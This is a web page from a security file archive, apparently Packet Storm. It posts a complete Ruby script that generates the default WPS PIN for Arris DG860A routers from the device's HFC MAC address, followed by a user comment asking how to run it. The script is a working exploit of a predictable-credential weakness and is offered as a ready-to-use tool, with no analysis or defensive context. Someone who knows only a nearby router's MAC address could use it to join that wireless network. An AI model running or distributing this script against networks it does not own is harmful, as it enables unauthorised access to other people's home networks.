seeing is believing

ARRIS DG860A WPS PIN Generator

ARRIS DG860A WPS PIN Generator
Posted Oct 15, 2013
Authored by Justin Oberdorf

This is a ruby script that will generate the default WPS PIN for the Arris DG860A providing you know the HFC MAC address.

tags | tool, wireless, ruby
MD5 | 8322b2f4a5cb516665858f772a46b780

ARRIS DG860A WPS PIN Generator

Change Mirror Download
#!/usr/bin/ruby

require 'optparse'
def ComputeChecksum(s)
accum = 0
s *= 10
accum += 3 * ((s / 10000000) % 10)
accum += 1 * ((s / 1000000) % 10)
accum += 3 * ((s / 100000) % 10)
accum += 1 * ((s / 10000) % 10)
accum += 3 * ((s / 1000) % 10)
accum += 1 * ((s / 100) % 10)
accum += 3 * ((s / 10) % 10)
digit = (accum % 10)
return (10 - digit) % 10
end
def F(n)
if n==1 or n==2 or n==0
return 1
end
return F(n-1) + F(n-2)
end
def FibGen(num)
return F(num);
end
def GenerateWPS(strMac)
fibnum = Array.new(6)
fibsum=0;
seed=16
count=1
offset=0
counter=0
arrayMacs = strMac.split(":").map { |s| s.hex }
tmp = arrayMacs.dup
for i in 0..5
if tmp[i] > 30
while tmp[i] > 31 do
tmp[i] -= 16
counter += 1
end
end
if counter == 0
if tmp[i] < 3
tmp[i] = tmp[0]+tmp[1]+tmp[2]+tmp[3]+tmp[4]+tmp[5]-tmp[i]
if tmp[i] > 0xff
tmp[i] = tmp[i] & 0xff
end
tmp[i] = (tmp[i]%28) + 3
end
fibnum[i] = FibGen(tmp[i])
else
fibnum[i] = FibGen(tmp[i])+FibGen(counter)
end
counter = 0
end

for i in 0..5
fibsum += (fibnum[i]*FibGen(i+seed))+arrayMacs[i]
end
fibsum = fibsum%10000000
checksum = ComputeChecksum(fibsum)
fibsum = (fibsum*10) + checksum
return fibsum.to_s
end

if __FILE__ == $0
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: arriswps.rb OPTIONS"
opts.separator ""
opts.separator "Options"
opts.on('-m', '--mac 00:00:00:00:00:00', 'HFC MAC ADDRESS') { |v| options[:mac_address] = v }
end.parse!
raise OptionParser::MissingArgument if options[:mac_address].nil?
puts GenerateWPS(options[:mac_address])
end

Comments (1)

RSS Feed Subscribe to this comment feed
t3ht33j

Hi,
Please excuse my ignorance here but i have never used RUBY before. I attempt to run the script and i am given:
C:/test.rb:74:in `<main>': missing argument: (OptionParser::MissingArgument)
Im quite sure this means i was supposed to plug my MAC in somewhere but all of the areas that i assumed were correct wernt.
Once again thanks for bearing with me!

Comment by t3ht33j
2013-11-11 02:02:44 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close